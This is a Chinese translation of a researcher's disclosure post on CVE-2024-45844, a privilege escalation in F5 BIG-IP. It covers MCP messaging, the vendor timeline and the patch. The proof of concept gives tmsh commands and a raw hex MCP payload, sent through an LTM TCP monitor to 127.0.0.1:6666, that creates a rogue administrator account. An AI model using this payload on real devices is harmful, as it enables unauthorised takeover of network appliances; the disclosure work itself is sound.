由 myst404 (@myst404_)于 2024 年 10 月 17 日星期四 发布
之前的文章《F5 BIG-IP 后漏洞利用:root,现在怎么办?》和《深入研究 F5 Secure Vault》帮助我们更好地了解了内部 F5 机制。
它还让我们发现了一个权限提升漏洞,该漏洞现已被分配为 CVE-2024-45844。在发现这个问题后,我们发现了Ron Bowes 之前关于 MCP 消息的研究,这大大简化了对此类问题的理解和利用 - 因此建议阅读。
注意:下面描述的所有测试均在从此版本的官方 VMWare 映像安装的 F5 BIGIP-17.1.1.2-0.0.10 LTM 上执行(sha256 aff4610bdb4f4067c7305a63a7a27f24c47dbf99e55fbed79eed3de3796b5fd6:)。
1. MCP
正如Ron Bowes所解释的,MCP(主控制程序)是 F5 BIG-IP 设备内部使用的专有数据库。
可以通过发送由mcpd守护进程处理的 MCP 消息与此数据库进行交互。有两种方法可以向mcpd守护进程发送 MCP 消息:
-
通过 UNIX 域套接字/var/run/mcp,正如 Ron Bowes 所发现的那样。
-
通过网络套接字监听127.0.0.1:6666(据我们所知尚未公开)。
2. MCP 消息
与 MCP 数据库的交互不需要身份验证,并且 MCP 消息没有任何特殊的保护(如加密或防中继)。
大多数 F5 配置依赖于底层的 MCP 消息:添加 iRule、修改 NAT 策略、添加新的池成员等。
从安全角度来看,这意味着任何能够发送 MCP 消息的攻击者都可以创建一个新的根级帐户、更改任何用户的角色或修改任何用户的密码。
攻击者如何滥用此行为来执行权限提升?
Unix 域套接字
UNIX 域套接字/var/run/mcp具有权限 777:Linux 系统上的任何人都可以与 MCP 交互。
限制在于您需要执行bash类似 的命令socat。但是,F5 限制了哪些用户可以访问bashBIG-IP 系统。只有默认的root和具有管理员角色的用户才可以bash访问。这种攻击在这里毫无意义:您需要拥有管理员权限才能成为管理员。
通过欺诈性访问,这种场景变得很有趣,例如,如果攻击者通过 Web 服务器获得任意命令执行,以用户身份运行apache(用于运行 Web 服务器的低权限帐户)。通过使用refreshing-mcp-tool 存储库mcp-privesc.rb中的脚本或发送如下所示的网络请求,很容易执行权限提升并成为管理员。
这是一个已知问题,F5 不会修复:
mcpd 的当前架构(不需要身份验证)是一个已知问题,F5 不会在 BIG-IP 中对其进行更改。
网络套接字
要向网络套接字发送请求127.0.0.1:6666,攻击者需要具有本地访问权限。
同样,执行命令nc是可能的,但需要bash访问权限,如上所述。
权限较低的用户使用tmsh(流量管理外壳)。它是用于管理 BIG-IP 系统的受限命令行界面。
通过深入研究文档,我们意识到我们需要劫持一个命令才能在本地发送 MCP 消息,从而执行权限提升。
3. CVE-2024-45844
生成 MCP 消息
必须创建 MCP 消息有效负载才能利用权限提升。创建新管理员用户的 MCP 消息是实现此目标的一种简单方法,尽管这种方法不是最安全的。
有两种方法可以轻松创建 MCP 消息:
-
例如通过strace在任何测试实例上捕获它,然后重放它。
-
通过使用像mcp-privesc.rb这样的生成工具。
一旦伪造,MCP 消息必须发送到127.0.0.1:6666。
LTM 监视器
LTM(本地流量管理器)监视器用于定期检查服务是否按预期响应。LTM 监视器可以监视多种服务:MySQL、LDAP、SMB、HTTP 等。
根据监视器类型,可以发送任意数据(如 HTTP 监视器的自定义 HTTP 标头)以正确检查服务。
有趣的是,ltm monitor tcp命令可用于监视 TCP 网络服务是否正常运行。此监视器允许指定要发送的原始 TCP 消息。
用户必须至少具有管理员角色才能创建 LTM 监视器。
无法直接创建指向本地主机的监视器:
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# create privesc destination 127.0.0.1
Syntax Error: invalid monitor destination "127.0.0.1"
但是,可以创建一个 LTM 监视器,然后将目标更改为本地主机。
概念证明
为了演示目的,我们使用管理员帐户root来创建管理员帐户manager_almond,该帐户将利用权限提升。
1.使用管理员用户创建经理用户:
[root@f5-bigip:Active:Standalone] ~ $ tmsh create /auth user manager_almond prompt-for-password partition-access add { all-partitions { role manager } } shell tmsh
2.使用新创建的账户登录:
user@attackervm:~ $ ssh manager_almond@<IP>
3.在 TMSH 提示符中:
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos)$ ltm monitor tcp #enter the menu ltm monitor tcp
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ create privesc #creating a monitor named privesc
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ modify privesc send 'x00x00x00x36x00x00x00x00x00x00x00x00x00x00x00x02x10x28x00x0dx00x00x00x2ex10x29x00x0fx00x00x00x06x00x04x72x6fx6fx74x64xb6x00x0fx00x00x00x16x00x14x74x6dx73x68x2cx20x74x6dx73x68x2dx70x69x64x2dx31x32x38x37x30x00x00x00x00x00xb9x00x00x00x00x00x00x00x00x00x00x00x02x0bx61x00x0dx00x00x00x1fx10x04x00x0dx00x00x00x15x10x06x00x0fx00x00x00x0bx00x09x61x6cx6dx6fx6ex64x31x31x31x00x00x00x00x0bx5ax00x0dx00x00x00x36x10x04x00x0dx00x00x00x2cx10x08x00x0fx00x00x00x07x00x05x5bx41x6cx6cx5dx10x06x00x0fx00x00x00x0bx00x09x61x6cx6dx6fx6ex64x31x31x31x10x07x00x05x00x00x00x00x00x00x00x00x0bx5ax00x0dx00x00x00x4cx0bx11x00x0dx00x00x00x42x0bx12x00x0fx00x00x00x0bx00x09x61x6cx6dx6fx6ex64x31x31x31x0bx19x00x0fx00x00x00x06x00x04x62x61x73x68x0bx13x00x0fx00x00x00x0fx00x0dx41x6cx6dx6fx6ex64x5fx4fx66x66x53x65x63x0bx14x00x05x00x00x00x00x00x00x00x00' #set the MCP message that will create the administrator user almond111 with the password Almond_OffSec
manager_almond@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)$ run privesc destination 127.0.0.1:6666 #Run the monitor, i.e. send the data above to 127.0.0.1:6666
4.用户almond111已创建!
PoC 执行从具有管理员角色(创建 LTM 监视器所需的最低权限级别)的用户到管理员的权限升级。
4. F5 响应
时间线 2024-05-29:报告发送至 F5。2024-05-30
-
F5 首次回应 2024-06-19
-
F5 承认漏洞 2024-09-29
-
BIG-IP 修补版本发布(17.1.1.4、16.1.5 和 15.1.10.5)2024-10-11
-
F5 回应:
内部守护进程(例如 mcpd)只能通过本地主机地址和本地 UNIX 套接字访问,而这些地址和套接字无法从外部访问,并且只能由在 BIG-IP 本身上运行的特权进程访问。BIG-IP 不是通用的多用户平台。F5 建议仅允许受信任用户访问命令行 (CLI),因为所有具有 CLI 访问权限的用户都被授予管理员权限。BIG-IP Next 使用一种基于零信任模型构建的新架构,确保内部消息受到保护。
-
2024-10-16:F5 安全公告发布 F5季度安全通知(2024 年 10 月)发布。
-
2024-10-16 CVE-2024-45844发布,CVSSv4.0:8.6
-
2024-10-17 本文发布。
修补
测试了最新版本17.1.1.4。
不再可能使用 LTM TCP 监视器在本地发送消息。如果目标不是 IPv4 地址(以点分隔的 4 个块)或 IP 地址以 127 开头,则会引发错误:
manager_almond2@(localhost)(cfg-sync Standalone)(Active)(/Common)(tmos.ltm.monitor.tcp)# run privesc destination 127.0.0.2:6666
01071e25:3: Invalid Monitor Address for /Common/privesc.
5. 参考文献
https://docs.google.com/presentation/d/1CeWI7IIIVJEmrtPkFPnUIUHns2S7gZnchmlTo3ozhEA/
https://www.skullsecurity.org/cv
https://github.com/rbowes-r7/refreshing-mcp-tool
原文始发于微信公众号(Ots安全):CVE-2024-45844:F5 BIG-IP 中的权限升级
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论